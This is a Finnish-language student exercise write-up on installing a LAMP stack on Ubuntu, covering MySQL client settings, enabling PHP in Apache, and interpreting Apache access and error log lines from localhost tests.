Lopuksi vielä tallennamme muistiin käyttäjänimesi ja salasanasi siten, että et tarvitse niitä enää jatkossa mysql:n kanssa, vaan sisään kirjautumiseen riittää pelkkä ‘mysql’ komento:


nano .my.cnf
#Kirjoita tiedostoon seuraavat rivit:
[client]
user="käyttäjänimi"
password="käyttäjälle asettamasi salasana"
database="testi"

Lopuksi asennamme PHP:n paketinhallinnasa ja samalla luomme ja testaamme php koodia apachepalvelimellamme:

cd
sudo apt-get install php7.0-cli
nano public_html/test1.php
#Hae täältä koodi:
#https://github.com/TopiNiskala/Linux-Palvelimet/blob/master/test1.php
#tallennuksen ja sulkemisen jälkeen konsoliin:
sudo service apache2 restart
firefox "http://localhost/~käyttäjänimi/test1.php"

Valitettavasti PHP koodimme ei kuitenkaan vieläkään toimi. Meidän on säädettävä Apachen asetuksissa PHP käyttöön.

sudoedit /etc/apache2/mods-available/php7.0.conf
#Kommentoi pois rivit conf tiedoston ohjeen mukaan
sudo service apache2 restart
firefox "http://localhost/~käyttäjänimi/test1.php"

Lopputuloksena sivulla tulisi lukea ‘Hello World! 50’ ja täten LAMP pinomme on valmiina verkkosivujen tekoa varten. Lopuksi lisäämme verkkosivuille koodia, jolla voimme testata kerralla kokonaista pinoa.
Luo nanolla tiedosto test2 ja lisää sinne koodia:
https://github.com/TopiNiskala/Linux-Palvelimet/blob/master/test2.php
Jos kaikki php-koodin lisäämisen jälkeen toimii yhä niin kuin pitääkin (muista uudelleenkäynnistää apache!), niin: ONNITTELUT! Olet juuri asentanut LAMP pinon jolla valtaosa internetistä on rakennettu!


Tehtävä b)

Aika käydä läpi apachen logeja. Tarkastamme onnistuneen sivun avauksen logit:

cd /var/log/apache2
firefox "http://localhost/~käyttäjänimi/
tail access.log

Tuloksena saamme rivit:

127.0.0.1 - - [04/Feb/2018:14:48:32 +0200] "GET /~topiniskala/ HTTP/1.1" 200 397 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
127.0.0.1 - - [04/Feb/2018:14:48:32 +0200] "GET /favicon.ico HTTP/1.1" 404 500 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"

Molemmat lokirivit alkavat Localhost IP osoitteella, jota seuraa päivämäärä ja kellonaika. Seuraavaksi loki käy läpi suoritetun kommennon localhost osoitteessa, eli ensimmäisessä lokirivissä GET pyyntö osoitteeseen topiniskala/. Lopputuloksena saamme koodin 200, joka tarkoittaa, että prosessi suoritettiin onnistuneesti. Toiselle numerolle (397) en löytänyt selostusta. Lopussa lokiin listataan selain, selaimen gecko koodi pohja ja käyttöjärjestelmä, joilla prosessi suoritettiin.
Toisella rivillä meillä on kuitenkin 404 virhe, eli favicon.ico ei löytynyt palvelimelta (404), mikä aiheutti geneerisen virheviestin (500).


Tehtävä c)

Seuraavaksi testaamme virhettä PHP koodissa. Ensiksi muutamme yhden $ alkuisista komennoista joksikin sanaksi, jota php koodi ei tunnista. Muutin “$pdoStatement->execute();” rivin execute sanan tilalle ‘SUORITA!!!”.

cd
sudo service apache2 restart
firefox "http://localhost/~käyttäjänimi"
cd /var/log/apache2
tail error.log

Tuloksena saamme rivin:

[Sun Feb 04 15:15:12.177182 2018] [:error] [pid 27526] [client 127.0.0.1:52294] PHP Parse error:  syntax error, unexpected '!' in /home/topiniskala/public_html/index.php on line 21

Lokirivi alkaa taas päivämäärällä, jota seuraa :error ilmoitus ja pid (process identification code) koodi 27526. Seuraavaksi loki kertoo clientin, joka on localhostin 127.0.0.1. Seuraavaksi pääsemme käsittelemään itse erroria, joka lokissa ilmoitetaan PHP Parse syntaksivirheenä, jonka aiheutti “!” merkki index.php tiedostossa rivillä 21.


Tehtävä f)

PHP laskin:

Luo public_html kansioon uusi calc.php tiedosto ja lisää sinne koodi:
https://github.com/TopiNiskala/Linux-Palvelimet/blob/master/calc.php

Seuraavaksi:

sudo service apache2 restart
firefox "http://localhost/~käyttäjänimi/calc.php"

LINKIT:
Tehtävänannot